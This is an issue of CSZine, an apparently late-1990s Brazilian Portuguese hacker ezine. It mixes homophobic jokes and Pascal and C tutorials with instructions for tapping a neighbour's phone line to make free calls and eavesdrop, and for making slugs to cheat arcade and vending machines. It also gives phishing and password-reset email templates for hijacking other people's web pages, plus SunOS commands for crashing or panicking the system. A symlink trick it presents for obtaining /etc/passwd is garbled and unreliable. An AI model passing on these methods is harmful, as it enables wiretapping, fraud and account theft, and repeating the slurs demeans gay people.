Cszine 15

eZine lover (@eZine)

Published in 

CSZine

 · 1 year ago

	                                  zZZZZZZZZZZZZZZZz 
	                                                zZ 
	    cCCCCCCCCc         sSSSSSSSSs              zZ 
	  cCCCCCCCCCCCCc     sSSSSSSSSSSSSs           zZ 
	 cCCC       CCCCc   sSSS       SSSSs         zZ 
	cCCCc               SSSSs                   zZ  II NNn  NN EEEEE 
	CCCCC                SSSSSSSSSSs           zZ   II NNNn NN EE 
	CCCCC                   SSSSSSSSSs        zZ    II NN NnNN EEEE 
	CCCCC                          SSSSS     zZ     II NN  NNN EE 
	 CCCC       CCCCc   sSSSS       SSSS    zZ      II NN   NN EEEEE 
	  CCCCCCCCCCCCCC     SSSSSSSSSSSSSS    zZ 
	    CCCCCCCCCC         SSSSSSSSSS     zZ 
	                                     zZ 
	                                    zZ 
	                                  zZZZZZZZZZZZZZZZZz 

 

    PS: Se você não conseguiu lêr direito, aí em cima tah escrito CSZine. 

		UIN   da   revista : 16623675 
		Canal  da  revista : #CSCHANNEL no irc.via-rs.com.br 
		E-Mails da revista : cszine@hotmail.com 
	                             cszine@xoommail.com 
                Memoserv da revista: /msg memoserv send Struck <msg> 
                                      (Soh no via-rs) 
	        Page  da   revista : http://members.xoom.com/cszine 

 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Cheat=Struck-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Introdução

A edição passada tava joia mas está ta ainda melhor!!

Pouca coisa mudou na zine. O tróço que eu achei mais tri foi a dos manuais que eu to escrevendo tão saindo aos poucos na zine. Tipo.. Nessa eu vou escrever uma materia sobre Engenharia social.

Outra coisa tri foi a descoberta de mais duas boxes que funcionam tanto nos EUA quanto no Brasil.

Alguns editores irão colaborar para futuras matérias como Anarchy, Crackerz e VIRII mas enquanto eles não mandarem os mails, talvez fique meio que faltando coisa nessas areas.

Um dos editores pelo menos, está levando o tróço bem a serio e já mandou dois arquivos de materias para a area Bugz. Valeu Simon Phoenix. Porém seu e-mail não será publicado pois é assim que ele quer.

A seção de programação veio com 2 tutoriais dessa vez. A continuação do de pascal e um de C. O tutorial de pascal veio com pouca coisa dessa vez pois ele tah acabando. O de C é mais uma introdução.

Resumindo essas 15 linhas: A zine tá ótima como sempre.

Indice

Seção:	Materia:		Assunto:		Autor:		Nota: 

1.	FuNnY			Ria um pouco		Cheat Struck	10,0 
2.	Phreaking		Boxes			Cheat Struck	10,0 
3.	Hacking p/ iniciantes	Entendendo os truques	Cheat Struck	9,5 
4.	Kevin Mitnick		A Caçada		(Livro)		9,0 
5.	Programação		Tutorial de pascal	Cheat Struck 
				Tutorial de C		Cheat Struck	10,0 
6.	Guia de ediçıes		O que vimos até hoje??	Cheat Struck	10,0 
7.	Vivendo			Carpe Diem		Cheat Struck	9,5 
8.	Invasão de privacidade	Engenharia social	Cheat Struck	9,5 
9.	Bugz			Bugz para SunOS		Simon Phoenix	10,0 
10.     Hack, the Art           Tutorial para Begginers Cheat Struck    10,0

1. FuNnY

Uma bixa vai no açougue..
Bixa - Me vê um metro de linguissa.
Açougueiro - Quer fatoado?
Bixa - Não, tá achando que meu cu é cofrinho??

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Hahahahahahahahahahahahahahahahahahahahahahaha!°!°!°!°!°!°

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Um português ía saltar de paraquedas.. Seu instrutor explica o que ele terá que fazer:

- Depois que vc saltar vc puxa a primeira cordinha que o paraquedas abre. Se ele não abrir quando vc puxar a primeira cordinha então vc puxa a segunda. Se não abrir na segunda, o que é pouco provável de acontecer, então vc puxa a terceira. Lah em baixo um jipe vai estar te esperando.

O português salta.
Puxa a primeira cordinha e nada..
Puxa a segunda cordinha e nada...
Puxa a terceira cordinha e nada..
Então fala:

- Puxa! Que azar o meu! Agora só falta o jipe não ta' lah em baixo.

-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hahahahahahahahahahahahahahahahahahahahahahaha!°!°!°!°!°!°

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Um kra vai numa briga de galos e pergunta para uma pessoa que estava alí assistindo..

- Meu amigo, vc poderia me informar qual desses 2 é o galo bom??
- Sim.. O bom é o galo branco..

Entaum o kra foi e apostou no galo branco..

Quando começou a luta o galo preto tava dando uma surra no galo branco.. Até ganhar por nocaute.

Dai chega o kra pra pessoa q o informaou:

- O meu, tu não disse que o galo branco era o bom??
- Sim, o galo branco é o bom. O mau é o preto.

-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hahahahahahahahahahahahahahahahahahahahahahaha!°!°!°!°!°!°

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Um português ganhou um pijama. Gostou tanto que agora só tira ele para dormir.

-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hahahahahahahahahahahahahahahahahahahahahahaha!°!°!°!°!°!°

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Duas bixa tavam dirigindo pela estrada..
Aí um caminhão se atravessou na frente delas e bateram..
Aí a bixa que tava dirigindo chega pro caminhoneiro:

- Seu abobado! Tu te atravessa com essa lataria na minha frente assim.. Não, não, tu vai pagar isso.
- Calaboca sua bixa! Se não eu meto um pau no teu cú. - O caminhoneiro
- Opa! Chega mais que ele quer fechar negócio! - A bixa chamando a outra.

-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hahahahahahahahahahahahahahahahahahahahahahaha!°!°!°!°!°!°

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

2. Phreaking

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bud Box

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Essa box utiliza a linha de uma outra pessoa para q vc não seja tarifado.

Puxe uma extenção da linha da casa do visinho para a sua casa.

Desparafuse a tomada de uma extensão de sua casa, melhor que seja uma que não esteja com nenhum aparelho conectado. Ligue os fios da extenção nos pinos 1 e 2 da tomada(veja o desenho) e retire os que estão lah.

	 ______________________ 
	|                      | 
	|     _                | 
	|    | |     ______    | 
	|    |1|    |__2___|   | 
	|    |_|               | 
	|     _         _      | 
	|    | |       | |     | 
	|    |3|       |4|     | 
	|    |_|       |_|     | 
	|                      | 
	|______________________|

Agora quando vc quizer ligar de graça a vontade(até pro exterior ou 0900) Conecte um aparelho naquela extenção e ligue jha!

Mas tome cuidado! Faça isso somente quando o seu visinho não estiver em casa, caso contrario ele poderá descobrir e colocar a policia em cima. Tome um cuidado especial se ele tiver em casa um aparelho antigo q emite o sinal em pulsos altos quando alguma extenção está sendo usada para discar.

Com isso vc tb pode fazer escutas da conversa dele.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Dark Box

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Essa box redireciona qualquer chamada que seja feita a vc para o numero do seu visinho.

Faça assim:

Use akela extenção da bud box e conectea a sua linha. … só plugar em uma dakelas tomadas de sua casa.

Agora, quando alguém discar para vc além do telefone tocar aí, também tocará no visinho. Se vc não quizer ser encomodado pelo seu telefone e quizer deixar com que apenas toque no visinho o telefone, desplugue o fio do apareho da tomada.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

O que que é o tal do ninex??

Ninex é uma compania telefonica digital dos EUA. Um dos maiores alvos dos phreakers. Agora tah explicado akela frase..

I'm a phreak..
The Phantom Phreak..
The King of the NINEX..

3. Hacking para iniciantes

Quando eu sei que sou um hacker??

Primeiro.. Esqueça esse negócio de ser hacker. Pense apenas em estudar o hacking. Assim que você souber como hackear, entender mesmo como vc fez akilo. Aí vc pode se chamar de hacker. … claro que depois disso vc não vai parar seu estudo por aí pensando q jah sabe tudo.

Tipo.. Os kra que aprenderam o bug do PHF. Apenas botavam o comando jah pronto lah e deu. Tinham o /etc/passwd e jah se achavam os hackers. Nem faziam ideia de que aquele /bin/cat era para chamar o comando cat do unix e que logo em seguida puxava o /etc/passwd.

Eles só queriam saber que tinham a droga do arquivo e pronto. Ae o bug desapareceu e eles ficaram chupando o dedo.

A mesma coisa depois que o "quote cwd ~root" no FTP anonymous foi descoberto. Só depois que foi descoberto por todos os administradores (esses são outros que ao invés de arrumar eles mesmo só re-compilaram o kernel) é q o kra lah avisou que ele existia.

Claro! Quando vc decobre algo novo, não quer q os outros saibam para que não arrumem o erro. Então para vc ser um hacker não basta saber todos estas montanhas de comandos e exploits que aparecem aki na zine. Vc deve procurar entender o funcionamento dakele outro e deduzir que isso tb funcione. Tipo a que veremos aki. … uma dica quentinha, arrecem saida do forno e se vc não for rapido ela jah estara arrumada.

Atenção! O baguio do quote no ftp ainda pode ser achado em BSD 4.x.

Obtendo o /etc/passwd

* .bash_history

… um arquivo de log. Então tah moleza o que se tem que fazer não?? Bem se vc colocasse uns neuronios para pensar, voltasse na edição passada e vêsse como usar um arquivo de log contra o próprio root, vc deduziria a coisa mais óbvia do mundo.
Primeiro dê akele rm esperto.

rm -f .bash_history

Agora linke o /etc/passwd para esse arquivo.

ln -s .bash_history /etc/passwd

Ou..

ln -s /etc/passwd .bash_history

Não me lembro ao certo a ordem do comando ln.
Pronto! Reebote o sistema e o procedimento será o seguinte:
1. Confira o login/senha.
2. Manda o UID e o GID para a shell(bash).
3. A shell carrega seus utilitarios, um deles é o .bash_history no diretorio home do usuario. Como o .bash_history é um link do /etc/passwd, o shell estará basicamente te entregando as cartas.

-=-=-=-=-=-=-=-=-=-

Well.. Espero que com o sermão de hoje vcs tenham notado que qquer um pode descobrir o que um hacker descobriu. … só parar para pensar um pouquinho e a resposta estara na cara.

4. Kevin Mitnick

A Caçada.
Texto extraido do livro "O pirata eletronico e o Samurai"

A Nyx, um pequeno site ligado a Internet na Universidade de Denver, eh um bom exemplo. A empresa eh adminstrada por Andrew Burt, palestrante e analista de software da universidade.

Ele nao tem dinheiro para um esquema de seguranca sofisticado - nem tampouco tempo para adminstra-lo.O Nyx eh um sistema 'aberto',que pode ser facilmente usado por pessoas de fora. Se utilizasse um esquema de seguranca sofisticado, o acesso publico ficaria severamente limitado. Alem disso, Burt acredita que a expressao 'seguranca na internet' continuara sendo um oximoro ateh que todas as mensagens da internet sejam automaticamente codificadas.

Os possiveis crackers na Nyx sao solicitados a ler uma nota pessoal de Burt:

"Para comecar, deixem-me dizer que, pessoalmente, nao sou contra os hackers; na verdade, aprendi muito do que sei hoje sobre informatica como resultado direto e indireto de minhas exploracoes como hacker (preterito perfeito - consideram-me, por assim dizer, "aposentado"). Nao tenho desejo algum de expulsar todos os hacker do Nyx; desde que voces nao ameacem o sistema nem facam nenhuma besteira, tudo bem, divirtam-se. Na verdade, nao gosto de perder meu tempo cacando gente idiota, detesto quando tenho que fazer isto. Em outras palavras, soh vou atras de voces se voces fizerem alguma besteira, forem insensatos, irritantes, egoistas, destrutivos etc."

Em abril de 1994, quando descobriu que Kevin estava rondando no sistema Nyx, Burt nao entrou em panico. Pediu a Kevin para nao danificar nada, e ele nao danificou. Eles trocaram arquivos. Toleravam-se mutuamente. Kevin aparentemente leu um artigo escrito por Burt onde dizia que achava que as palavras 'hacker' e 'cracker' nao eram palavras muito poeticas para descrever intrusos em sistemas de computadores. Burt preferia o termo 'aranha'.

Burt escreveu: "Pense nisso as aranhas entram pelos menores buracos, de cuja existencia voce muitas vezes nem desonfia.As aranhas sempre conseguem entrar, por mais que tentemos impedi-las. Na maioria das vezes, nao as vemos mas elas estao la. Muitas pessoas tem, desnecessariamente, medo de aranhas. Elas pertubam, mas a maioria nao causam dano algum. As aranhas nao gostam de se expor. Algumas sao venenosas, mas a maioria nao eh. E dificil argumentar com uma aranha; elas simplesmente veem as coisas sob um angulo diferente. As aranhas frequentemente tecem intrincadas teias para continuar suas existencia (para pegar alimentos, senhas etc.) Uma aranha pode por ovos, gerando outras aranhas. As aranhas sao, em sua maioria, solitarias. Algumas aranhas acham que sao livres lutadoras (Hum, hum, o Homem Aranha). A maioria tem uma pessima reputacao. A maioria das pessoas tenta pisar nelas quando as encontra pela frente" ...

Passados algumas semanas, Andrew Burt fez uma descoberta divertida. Conectou-se a Nyx e descobriu um presente que Kevin Mitnick havia lhe deixado ,uns versos estranhos, aparentemente inspirados pelo texto anterior de Burt a respeito das aranhas.O poema era todo no estilo fanfarrao on-line de Kevin. Ele adorava bancar o superior com administradores de sistema como Burt (no poema, tema do Homem-aranha, um famoso desenho animado na decada de 70:

Homem-aranha, Homem-aranha,
Poderoso como um hacker
Crava um bug onde quer,
Rouba a senha que quiser.
Eh ele, ele eh o Homem-aranha.

Ele eh forte? Olha, cara,
Ele inunda de IRC.
Serah que ABurt pode ver?
Nao, ABurt nao alcanca.
Eh ele, ele eh o Homem-aranha.

No frio da noite,
Onde o crime acontece,
Num raio de luz,
Ele desaparece.

Homem-aranha, Homem-aranha,
O bom vizinho Homem-aranha.
Tao bem-vindo e esquecido,
Persegue ABurt por prazer.
Para ele a vida eh farra,
Se faz o Nyx se mexer
Ninguem pega o Homem-aranha

Homem-aranha, Homem-aranha
hacker de Nyx, Hacker-aranha
Espalha a teia onde quer
Rouba a senha que quiser
Ele eh o Homem-aranha!!

Homem-aranha, Homem-aranha
Arrasa os planos de ABurt
Crava bugs em telnet e ftp
Babaca-aburt nem vai saber
Eu sou o Homem-aranha!!

5. Programação

Tutorial de Pascal (parte 5)

ªªªªªªªªªªªªªªª Procedures ´´´´´´´´´´´´´´´

Elas tem quase a mesma estrutura dos programas(Cabeçalho e corpo) com ainda uma area de declaraçıes. Deve ser definida na area procedures. Tipo..

Program Exemplo; 
Uses CRT; 

Procedure linha;		(* Declara a procedure linha *) 
	Var i : integer;	(* Sub area VAR *) 
	Begin			(* O corpo da procedure começa aqui *) 
	    for i:=1 to 80 do write('-'); 
	End; 

Begin 
....				(* Corpo do programa *) 

 

 
	ªªªªªªªªªªªªªªª Functions ´´´´´´´´´´´´´´´ 

	São bem parecidas com as Procedures. Vejamos o exemplo: 

 
Program Exemplo; 
Uses CRT; 

Function soma(a,b:real):real;		(* Declara a function soma *) 
	Begin				(* O Corpo da function começa aqui *) 
	    soma:=a+b; 
	End; 

Begin 
....				(* Corpo do programa *)

Tutorial de C

_.-`^`\_.-`^`\_.-`^`\ Compiladores para UNIX _.-`^`\_.-`^`\_.-`^`\

* CC
use: cc -o programa fonte.c

* GCC
use: gcc -o programa fonte.c

_.-`^`\_.-`^`\_.-`^`\ Compiladores para DOS _.-`^`\_.-`^`\_.-`^`\

* BCC
use: bcc programa

* GCC
use: fonte.c -s programa

_.-`^`\_.-`^`\_.-`^`\ Definindo variaveis _.-`^`\_.-`^`\_.-`^`\

* int
Numeros decimais inteiros
Ex:int variavel;
int Numero=2.555;

* float
Numeros decimais racionais
Ex:float variavel;
float Numero=25;

* char
Qualquer caracter
Ex:char variavel;
char letra='Z';

* double
Numeros decimais racionais longos
Ex:double variavel;
double numero=2525252525;

_.-`^`\_.-`^`\_.-`^`\ Funçıes _.-`^`\_.-`^`\_.-`^`\

As principais funçıes(descrita nesse tutorial irão se encontrar no conjunto de comandos stdio.h . Para chama-lo, acresente nas primeiras linhas da fonte(antes do main):

#include <stdio.h> 

 
* printf 
  Mostra um texto na tela. 
  Ex:	printf("texto\n"); 
	int numero=5; 
	printf("Numero: %d\n", numero); 
	                | | 
	                | +--codigos especiais 
			+--codigos printf 

 
* scanf 
  Coloca retorno do teclado em uma variavel. 
  Ex:	scanf("%d",&numero); 
	       |    | 
	       |    +--variavel(sem o &) 
	       +--codigos printf

_.-`^`\_.-`^`\_.-`^`\ Lista de codigos especiais _.-`^`\_.-`^`\_.-`^`\

\n-Nova Linha
\r-Retorno do Cursor
\t-Tab
\b-Retrocesso
\"-Aspas
\\-Barra
\f-Saltar Pagina De Formulario
\0-Nulo

_.-`^`\_.-`^`\_.-`^`\ Lista de codigos printf _.-`^`\_.-`^`\_.-`^`\

%c-Qualquer caracter
%d-Numeros decimais inteiros
%e-Notacao Cientifica
%f-Numeros Decimais racionais
%o-Octal
%s-Cadeia de Caracteres
%u-Decimal sem sinal
%x-Hexadecimal
%ld-Decimal loongo
%lf-Numeros decimais racionais Longos

_.-`^`\_.-`^`\_.-`^`\ Trabalhando com numeros _.-`^`\_.-`^`\_.-`^`\

* Soma 
  ex:	resultado=1+1;			/* Resultado = 2 */ 

* subtracao 
  ex:	resultado=3-1;			/* Resultado = 2 */ 

* multiplicação 
  ex:	resultado=2*2;			/* Resultado = 4 */ 

* divisão 
  ex:	resultado=4/2;			/* Resultado = 2 */ 
	resto=4%2;			/* Resto = 0 */

6. Guia de ediçıes

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Guia de ediçıes da CSZine

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Edição 00 (betatest)

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine			Cheat Struck	--- 
2. 	Kevin Mitnick		Opinião			Cheat Struck	8,0 
3. 	Identifique-us		Quem é quem??		Cheat Struck	8,5 
4. 	Objetivo		Motivo da CSZine	Cheat Struck	--- 
5. 	Programação		Comandos para .BAT's	Cheat Struck	8,5 
6. 	Invasão de privacidade  Introdução a invasão	Cheat Struck	7,0 
7. 	VIRII			Introdução a VIRII	Cheat Struck	7,0 
8. 	Phreaking		Introdução a Phreak	Cheat Struck	7,0 
9. 	Hack, the Art		Introdução a Hack	Cheat Struck	7,0 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									7,5

Edição 01

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 01		Cheat Struck	--- 
2. 	Kevin Mitnick		Um pouco de historia	Cheat Struck	7,5 
3. 	Manifesto		Hacker Manifesto	The Mentor	9,5 
4. 	Bugs			Bugz no MS-DOS		Cheat Struck	6,5 
5. 	Programação		Comandos de VB		Cheat Struck	8,5 
6. 	Invasão de privacidade	Invasão por FTP		Cheat Struck	9,0 
7. 	VIRII			Tipos de virus		Cheat Struck	8,5 
8. 	Phreaking		Basicos sobre telefonia	Ton Waits	9,5 
9. 	Hack, the Art		Hackeando a Ginet	Cheat Struck	10,0 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									8,6

Edição 02

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 02		Cheat Struck	--- 
2. 	Poemas			Poemas de kras famosos	Cheat Struck	7,0 
3. 	Programas hackers	Hacker's UtIlItY	Cheat Struck	9,0 
4. 	Bugs			Bug no IIS de WinNT	Cheat Struck	8,5 
5. 	Invasão de privacidade	Invasão por monitoração	Cheat Struck	9,0 
6. 	FAQ sobre sniffer	Perguntas e Respostas	Cheat Struck	9,0 
7. 	Dicas Hackings		Saiba mais sobre o Nuke	Cheat Struck	7,5 
8. 	Phreaking		Ligaçıes de graça	Ton Waits	9,5 
9. 	Hack, the Art		Mais ftp de provedores	Cheat Struck	8,5 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									8,5

Edição 03

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 03		Cheat Struck	--- 
2. 	Poemas			Poemas de kras famosos	Cheat Struck	7,5 
3. 	Programas hackers	Nuke 2.3		Cheat Struck	8,5 
4. 	Boxes			Lista de boxes		Cheat Struck	8,5 
5. 	Phreaking		Truques pro Celular	Cheat Struck	9,5 
6. 	VIRII			Virus em .BAT's		Cheat Struck	8,0 
7. 	Dicas Hacks		Ftp via mIRC		Cheat Struck	9,0 
8. 	Pesquisa		Lista de pesquisa hack	Cheat Struck	9,5 
9. 	Hack, the Art		Treinando o UNIX	Cheat Struck	8,5 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									8,6

Edição 04

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 04		Cheat Struck	--- 
2. 	VIRII			Tutorial de Assembler	Cheat Struck	9,5 
3. 	Phreaking		Testando os truques	Cheat Struck	9,0 
4. 	Programas Hackers	Emulador de UNIX	Cheat Struck	8,5 
5. 	Pesquisa		Lista de pesquisa hack	Cheat Struck	9,5 
6. 	Servisos FREE		Acesso gratuito		Cheat Struck	9,5 
7. 	Dicas Hacks		Tn3270			Cheat Struck	7,5 
8. 	Invasão de privacidade	PPE Backdoor		Cheat Struck	9,0 
9. 	Hack, the Art		Pegando o passwd	Cheat Struck	8,5 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									8,8

Edição 05

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 05		Cheat Struck	--- 
2. 	Dicas Hacks		Contas default		saqueadores	9,0 
3. 	Bugs			Sendmail 5.57		Cheat Struck	10,0 
4. 	VIRII			Tutorial de Assembler	Cheat Struck	9,5 
5. 	Programas Hackers	KeyCopy 1.01		Cheat Struck	8,0 
6. 	Hacking p/ iniciantes	Onde hackear??		Cheat Struck	8,5 
7. 	Phreaking		Programando Celulares	Cheat Struck	9,5 
8. 	Invasão de privacidade	Invadindo Windows	Cheat Struck	9,0 
9. 	Hack, the Art		Universidades		Cheat Struck	7,5 
10. 	Preview			O que vem depois	Cheat Struck	--- 

Total:									8,8

Edição 06

Seção:	Materia:		Assunto:		Autor:		Nota: 
1. 	Introdução		CSZine 06		Cheat Struck	--- 
2. 	Dicas Hacks		Reconhecendo o shadow	Cheat Struck	8,5 
3. 	Kevin Mitnick		A historia de Mitnick	Marcus H¸bner	9,5 
4. 	Pesquisa		Lista de pesquisa hack	Cheat Struck	9,5 
5. 	VIRII			Tutorial de Assembler	Cheat Struck	9,0 
6. 	Phreaking		Programando celulares	Cheat Struck	8,5 
7. 	Bugs			Bugz para AIX		rEPTILE0	9,0 
8. 	Programas hackers	Dictionary Builder	Cheat Struck	8,5 
9. 	Hack, the Art		FTP Client/Server	Cheat Struck	10,0 
10. 	Preview			O que vem depois??	Cheat Struck	--- 

Total:									9,0

A partir da 07 começei a usar este tipo de indice por isso só irei publicar o total das notas.

Edição:		Total: 

07.		9,0 
08.		9,1 
09.		9,0 
10.		9,3 
11.		9,4 
12.		9,5 
13.		9,6 
14.		9,5 
15.             9,7

Grafico de notas

__________________________________________ 
10,0|                                     | 
9,7 |                                     |_____9,7 - Escala maxima 
9,6 |                             ___    /|           (ultima edicao) 
9,5 |                            // \\  //| 
9,4 |                           //   \\// | 
9,3 |                          //         | 
9,1 |                   ___   //          | 
9,0 |              ____// \\_//           | 
8,8 |         ____//                      | 
8,6 |  ___   //                           | 
8,5 | // \\_//                            | 
7,5 |//___________________________________|_____7,5 - Escala minima 
____|0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|           (primeira edicao)

Quem já escreveu na CSZine???

• Cheat Struck (todas ediçıes)
• The Mentor (01)
• Ton Waits (01, 02)
• saqueadores (05)
• Markus H¸bner (06, 07, 08)
• rEPTILE0 (06, 07)
• ^DarkLord^ (10)
• AliBaBa (12, 13, 14)
• Simon Phoenix (14, 15)

Quer seu nick nessa lista?? Escreva uma materia que se encaixe nas seçÚes da zine e mail-me.

7. Vivendo

Jogando fliperama de graca 1 (ficha)

Corte uma vela grossa em pequenas rodelas parecidas com a ficha.

Amasse bem umas tampinhas de garrafa para que fiquem muito finas, e entao coloque as laminas metalicas dentro das da vela.

Nao esqueca de dar o formato das entradas moldados na cera entao deixe elas no refrigerador por umas 5 horas ate ficar bem duras.

-=-=-=-=-=-=-=-=-=-

Jogando fliperama de graça 2 (cartão)

Em muitos lugares você encontra manhas como essa, não garanto que funcione pois eu não vou gastar 1 real no cartão para depois se não funcionar ter que joga-lo fora(pq a velha do caixa vai nota).

… só pegar o cartão e passar esmalte incolor naquela fita preta. … melhor que passe esmalte com spray, pois com o pincel pode apagar um pouco a fita.

-=-=-=-=-=-=-=-=-=-=-=-

Refri de graça

Você pode fazer fichas como diz na primeira materia dessa seção e depois que colocar a ficha, aperte dois botıes da maquina de refri, tipo.. O botão de guarana e de spryte juntos.

Um amigo meu disse que era pá apertar em sequencia sabe.. guarana, spryte, guarana, spryte, guarana, spryte, ...

-=-=-=-=-=-=-=-=-=-=-=-

Não ser multado por pardais

Também n‡o sei se funcionará..
Coloque um espelho ou um CD em cima da placa do seu carro, Quando o pardal der o flash para tirar a foto o luz fará reflexo e não vai dá pra vê nada.

Isso é meio mentira, pois o raio de luz não sai para uma só direção e sim para varias. … até capaz do reflexo voltar direto na camera mas não garanto que vai funcionar sempre.

8. Invasão de privacidade

Engenharia Social

-=-=-=-=-=-=-=-=-

… um dos meios mais usados para adquirir senhas de home pages gratuitas, porém a maioria dos servidores gratuitos estão advertindo seus usuarios e seus administradores. Tipo.. Não funcionara em servidores como hotmail, geocities e xoom.

Mesmo assim você pode enganar o próprio dono da page. Só que se ele descobrir que é enganação, pode sobrar pra tí.

Os dois modos são arriscados pois seu e-mail estará em jogo, mas quem disse que essa vida de hacker é molesa??

-=-=-=-=-=-=-=-=

Enganando os admins do server

Primeiro visite a pagina.
Anote o username do kra tipo:

http://www.server.com/babaca
^^^^^^---username.

Verifique tb se não existe um link que mande e-mail para o kra. Atenção!! Se por acaso só existir o e-mail do próprio server, ignore-o.

Ae mande um e-mail para o servidor dizendo o seguinte:

"Ola pessoal
Eu não me lembro de minha senha
Meu username é ******
Meu antigo email era *****@***.com, porfavor mande para seu@email.
Obrigado"

Mas já que não existe servidores gratuitos aqui no Brasil(se existe me avise) vc terá que mandar o e-mail em inglês. Se você não sabe inglês o suficiente para traduzir isso, aqui vai um e-mail que eu mandei e funcionou.

Quem eu hackei?? Um amigo meu que tava se achando o bom por ter colocado sua page na xoom. Porém a pouco tempo eu tentei de novo e não deu.

"Hello XOOM
I don't remenber my password
My username is ********
My old email as ****@***.com, please send to cszine@hotmail.com .
Tanks!"

-=-=-=-=-=-=-=-=-=-=-

Enganando os donos da page

Faça um cadastro no mesmo servidor e use um login tipo XOOM32 (tomando como exemplo a xoom. Ae seu novo email será xoom32@xoommail.com (convicente naum??).

Mande um mail pro usuario dizendo que se ele preencher o formulario ganhara 10MB a mais na sua page, ou que é um sistema novo de segurança e os usuarios que não responderem terão suas contas deletadas.

Ex:

" More 10Mb free in XOOM!!!
Please, Complete the formularium:

REAL NAME: __________________________________________________________
AGE : _______ SEX : ________ LAST ATUALIZATION : _________________
COUNTRY : ______________ CITY : ________________ STATE : _________
ADDRESS : __________________________________________________________
USER NAME: __________________________________________________________
PASSWORD : __________________________________________________________
EMAIL : _____________________________________________________________
OTHER HOMEPAGE : ____________________________________________________

Reply on complete.
Tanks for your time.
XOOM."

Ou faça uma coisa mais original, vc quem sabe.

-=-=-=-=-=-=-=-=-=-

9. Bugz

Corrigindo A edição passada. Na seção "hack, the art" foi mostrado um bug do identd no mIRC 5.3 . Na realidade não é o servidor todo que é bloqueado e sim seus usuarios que usam o essa versão do mIRC.

Você precisa dar 6 telnets na porta 113 do host do usuário e não do servidor como estava dizendo.

-=-=-=-=-=-=-=-=-=-

Bugz para SunOS por Simon Phoenix

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.1.4 (ou abaixo)
* Descrição : Congele
* Exploit :
1) cat /dev/tcx0
2) ls /dev/tcx0/*
3) cat /dev/zero > cat /dev/keyboard

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.1.x
* Descrição : Crash
* Exploit :
cp -p /vmunix /dev/audioctl
rcp /etc/motd you@some.host:/dev/audio

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.1.4 (tmpfs)
* Descrição : panico no kernel 1
* Exploit :
cd /tmp
mknod aaa p
ln aaa bbb
$ ls -l

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.1.4
* Descrição : panico no kernel 2
* Exploit :
cd /tmp
mkdir a
cd a
vi b
(Escrever qquer coisa)
(muda de terminal)
rm -r /tmp/a
(muda de terminal)
(Grava o arquivo usando: w no vi)

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.1.4
* Descrição : panico no Mas
* Exploit :
cd /tmp
